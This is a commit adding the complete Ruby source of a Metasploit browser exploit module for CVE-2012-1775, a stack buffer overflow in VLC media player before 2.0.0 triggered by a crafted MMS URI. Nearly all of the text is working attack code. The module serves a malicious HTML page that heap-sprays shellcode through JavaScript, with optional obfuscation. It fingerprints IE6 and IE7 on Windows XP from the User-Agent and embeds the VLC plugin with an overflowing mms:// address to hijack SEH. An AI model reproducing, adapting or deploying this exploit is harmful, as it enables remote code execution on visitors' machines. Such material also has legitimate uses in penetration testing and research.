module for cve-2012-1775 added
juan
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "VLC MMS Stream Handling Buffer Overflow",
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'Description' => %q{
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This module exploits a buffer overflow in VLC media player VLC media player prior
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to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
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in a stack buffer overflow when handling a malicious MMS URI.
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This module uses the browser as attack vector. A specially crafted MMS URI is
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used to trigger the overflow and get flow control through SEH overwrite. Control
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is transferred to code located in the heap through a standard heap spray.
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The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision: $",
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'Author' =>
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[
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'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
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'sinn3r', # Metasploit module
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2012-1775'],
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['OSVDB', '80188'],
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['URL', 'http://www.videolan.org/security/sa1201.html'],
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# Fix commit diff
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['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'Space' => 1000,
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "process",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested with VLC 2.0.0
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[ 'Automatic', {} ],
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[
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'Internet Explorer 6 on XP SP3',
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{
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'Rop' => false,
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# Space needed to overflow and generate an exception
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# which allows to get control through SEH overwrite
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'Offset' => 5488,
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'OffsetShell' => '0x800 - code.length',
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'Blocks' => '1550',
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'Padding' => '0'
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}
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],
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[
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'Internet Explorer 7 on XP SP3',
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{
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'Rop' => false,
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# Space needed to overflow and generate an exception
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# which allows to get control through SEH overwrite
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'Offset' => 5488,
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'OffsetShell' => '0x800 - code.length',
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'Blocks' => '1600',
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'Padding' => '1'
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}
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]
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],
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'DisclosureDate' => "Mar 15 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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], self.class)
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end
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def get_target(cli, request)
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#Default target
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my_target = target
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vprint_status("#{cli.peerhost.ljust(16)} #{self.shortname} User-Agent: #{request.headers['User-Agent']}")
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if target.name == 'Automatic'
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agent = request.headers['User-Agent']
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
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#Windows XP + IE 6
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my_target = targets[1]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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#Windows XP + 7.0
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my_target = targets[2]
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else
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#If we don't recognize the client, we don't fire the exploit
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my_target = nil
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end
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end
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return my_target
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end
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def on_request_uri(cli, request)
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#Pick the right target
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my_target = get_target(cli, request)
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if my_target.nil?
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vprint_error("#{cli.peerhost.ljust(16)} #{self.shortname} Target not supported")
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send_not_found(cli)
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return
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end
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vprint_status("#{cli.peerhost.ljust(16)} #{self.shortname} URL: #{request.uri.to_s}")
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#ARCH used by the victim machine
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arch = Rex::Arch.endian(my_target.arch)
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nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
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code = Rex::Text.to_unescape(payload.encoded, arch)
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# Spray overwrites 0x30303030 with our payload
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{code}");
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var nops = unescape("#{nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['OffsetShell']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=0; i < #{my_target['Blocks']}; i++) {
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heap_obj.alloc(block);
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}
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JS
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#Use heaplib
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js_spray = heaplib(spray)
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#obfuscate on demand
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if datastore['OBFUSCATE']
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js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
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js_spray.obfuscate
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end
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src_ip = Rex::Socket.source_address.split('.')
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hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join
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# Try to maximize success on IE7 platform:
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# If first octet of IP address is minor than 16 pad with zero
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# even when heap spray could be not successful.
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# Else pad following target heap spray criteria.
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if ((hex_ip.to_i(16) >> 24) < 16)
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padding_char = '0'
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else
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padding_char = my_target['Padding']
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end
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hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"
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html = <<-EOS
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<html>
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<head>
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<script>
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#{js_spray}
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</script>
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</head>
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<body>
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<OBJECT classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
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codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
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width="320"
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height="240"
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id="vlc" events="True">
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<param name="Src" value="mms://#{hex_ip}:#{datastore['SRVPORT']}" />
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<param name="ShowDisplay" value="True" />
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<param name="AutoLoop" value="False" />
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<param name="AutoPlay" value="True" />
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<EMBED pluginspage="http://www.videolan.org"
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type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"
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width="320"
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height="240"
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autoplay="yes"
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loop="no"
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target="mms://#{hex_ip}:#{datastore['SRVPORT']}"
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name="vlc">
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</EMBED>
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</OBJECT>
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</body>
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</html>
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EOS
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#Remove extra tabs in HTML
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html = html.gsub(/^\t\t/, "")
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print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending malicious page")
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send_response( cli, html, {'Content-Type' => 'text/html'} )
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end
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end
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